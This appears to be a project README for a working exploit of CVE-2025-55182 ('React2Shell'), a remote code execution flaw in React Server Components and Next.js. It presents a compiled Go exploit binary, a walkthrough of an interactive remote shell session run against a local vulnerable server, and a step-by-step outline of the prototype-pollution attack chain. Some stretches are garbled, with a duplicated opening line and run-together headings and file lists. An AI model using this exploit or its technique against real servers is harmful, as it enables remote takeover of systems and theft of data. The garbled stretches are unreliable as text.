
This project provides a fully functional demonstration of CVE-2025-55182 (React2Shell) - a critical Remote Code Execution vulnerability in React Server Components and Next.js.
This project provides a fully functional demonstration of CVE-2025-55182 (React2Shell) - a critical Remote Code Execution vulnerability in React Server Components and Next.js.
Status: ✅ WORKING - Achieves actual command execution on vulnerable servers
CVE-2025-55182 (7.8MB compiled executable)📥 Download Demo Video (5.6MB) - Click to download and watch the exploit in action
What the demo shows:
cd exploited-server
npm run dev
# Server starts on http://localhost:3001
cd /Users/subh/Desktop/code-playground/react-2-shell-demo
./CVE-2025-55182
# When prompted:
Target: localhost:3001
Basic Commands:
subh@rce $ whoami
subh@rce $ pwd
subh@rce $ ls -la
subh@rce $ hostname
File Operations:
subh@rce $ touch hello.txt
[+] Created: hello.txt
subh@rce $ vi hello.txt
[i] Enter new content (type 'EOF' on a line by itself to finish):
Hello World!
EOF
[+] File saved: hello.txt
subh@rce $ cat hello.txt
Hello World!
subh@rce $ echo "New content" > hello.txt
[+] File written
subh@rce $ rm hello.txt
[+] Removed: hello.txt
System Info:
subh@rce $ cat package.json
subh@rce $ node --version
subh@rce $ npm --version
subh@rce $ ps aux
Exit:
subh@rce $ exit
This project demonstrates:
✅ Real Exploitation - Actual working RCE on vulnerable systems
✅ Security Research - Understanding modern web framework vulnerabilities
✅ Go Development - Compiling and using security tools
✅ Vulnerability Analysis - CVE research and exploitation techniques
✅ Responsible Disclosure - Ethical security testing practices
react-2-shell-demo/
├── CVE-2025-55182 # Compiled Go exploit binary
├── main.go # Go source code
├── exploited-server/ # Vulnerable Next.js app
│ ├── app/
│ │ ├── actions.ts # Server Actions (vulnerable)
│ │ └── page.tsx # Warning UI
│ └── package.json # Next 15.0.1, React 19.0.0
└── *.md # Documentation
CVE-2025-55182 exploits insecure deserialization in React Server Components:
__proto__Function() constructor1. Craft multipart payload with malicious chunks
2. Send to Next.js Server Actions endpoint
3. Trigger prototype pollution via __proto__:then
4. Invoke Function() constructor with command
5. Execute code and return output via redirect
6. Parse result from X-Action-Redirect header
CRITICAL NOTICES:
README.md - This fileGO_EXPLOIT_USAGE.md - Detailed exploit usageVULNERABLE_SERVER.md - Server setup guideEXPLOITATION_GUIDE.md - Technical deep diveUSAGE.md - Usage examples and commandsnpm run dev in exploited-server)./CVE-2025-55182)This project successfully demonstrates:
For Production Systems:
Update immediately to patched versions:
Rotate secrets if exposed before December 4, 2025
Monitor logs for suspicious Server Actions activity
Audit applications using Server Components
@subhdotsol - For educational and security research purposes
This code is for educational and authorized security testing only.
Remember: Always obtain proper authorization before testing. Use responsibly! 🔒